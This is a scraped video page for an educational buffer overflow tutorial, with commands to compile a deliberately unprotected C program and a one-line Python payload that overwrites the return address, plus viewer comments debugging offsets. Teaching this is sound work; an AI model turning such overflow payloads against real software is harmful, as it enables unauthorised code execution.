Buffer Overflow Attack Example | Exploiting Binary

  Рет қаралды 9,511

EncryptedGuy

4 жыл бұрын

Want to learn how buffer overflow works? Here I have a live demo on how buffer overflow works on system. Using code in C language we will exploit the program to execute a hidden function.
Written Article : blog.rohanparab.com/2020/11/buffler-overflow-example-using-c.html
Commands:
1. Compile c program : gcc FBI_.c -fno-stack-protector -m32 -no-pie
2. Execute : ./a.out
3. Decompose obj file : objdump -d a.out
4. Passing payload : python -c 'print "a"*32 + "\x82\x91\x04\x08"' | ./a.out
Links :
C Code : github.com/rohanparab/Buffer_Overflow/releases/download/1.0/FBI_.c
Github Project : github.com/rohanparab/Buffer_Overflow/
My Blog : encryptedguy.blogspot.com
------------------------------
A Journey Through The Universe - Lesion X
soundcloud.com/lesionxbeats
Creative Commons - Attribution 3.0 Unported - CC BY 3.0
Free Download / Stream: bit.ly/a-j-t-t-u
Music promoted by Audio Library • A Journey Through...
------------------------------
🎵 Track Info:
Title: A Journey Through The Universe by Lesion X
Genre and Mood: Dance & Electronic + Inspirational
---
#bufferOverflow #exploit #programming

Пікірлер: 17
@vitorpaiva7817
@vitorpaiva7817 2 жыл бұрын
Thanks, man. I was getting nervous because I was not understanding why my exploits were not working. I need more ground!!
@bhismaadiyasa4407
@bhismaadiyasa4407 8 ай бұрын
It worked, Thankyou so much👍
@satheeshkumar1168
@satheeshkumar1168 7 ай бұрын
How you found the offset size is 4?
@narek552
@narek552 3 жыл бұрын
Helped me thanks!
@LIGHT-fz8yu
@LIGHT-fz8yu 4 жыл бұрын
Hey bro i wanna become a ethical hacker what should I do from now I am in 9th
@encryptedguy
@encryptedguy 4 жыл бұрын
Start coding. Mostly server side stuff. Once you get to know mechanism you can break it.
@LIGHT-fz8yu
@LIGHT-fz8yu 4 жыл бұрын
@@encryptedguy yeah but how should I start means coding with which language?
@encryptedguy
@encryptedguy 4 жыл бұрын
Php python
@LIGHT-fz8yu
@LIGHT-fz8yu 4 жыл бұрын
@@encryptedguy but people says start from c language
@encryptedguy
@encryptedguy 4 жыл бұрын
Sure if you want to go into low level stuff. But python will do
@alien_X1
@alien_X1 2 жыл бұрын
Pls bring morw
@gabrielbarrios397
@gabrielbarrios397 2 жыл бұрын
Hi, excellent tutorial, it help me a lot but i had error. At the end, specifically at 3:33 my console said me: python -c "print('A'*28 + '\x76\x91\x04\x08')" | ./a.out Enter some text: You DATA : 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' now belongs to us zsh: done python -c "print('A'*28 + '\x76\x91\x04\x08')" | zsh: segmentation fault ./a.out if someone can help me 🙌 i'd be really grateful
@paoloose
@paoloose 2 жыл бұрын
Did you check if the buffer size is indeed 28?
@hasmitaumrigar891
@hasmitaumrigar891 Жыл бұрын
Same problem, have you find the solution?
@MrSha55
@MrSha55 Жыл бұрын
It's a problem with python version. You should try python2 -c "print 'A'*32 + '\x76\x91\x04\x08' " | ./a.out .
Support each other🤝
00:31
ISSEI / いっせい
Рет қаралды 81 МЛН
小丑教训坏蛋 #小丑 #天使 #shorts
00:49
好人小丑
Рет қаралды 54 МЛН
Support each other🤝
00:31
ISSEI / いっせい
Рет қаралды 81 МЛН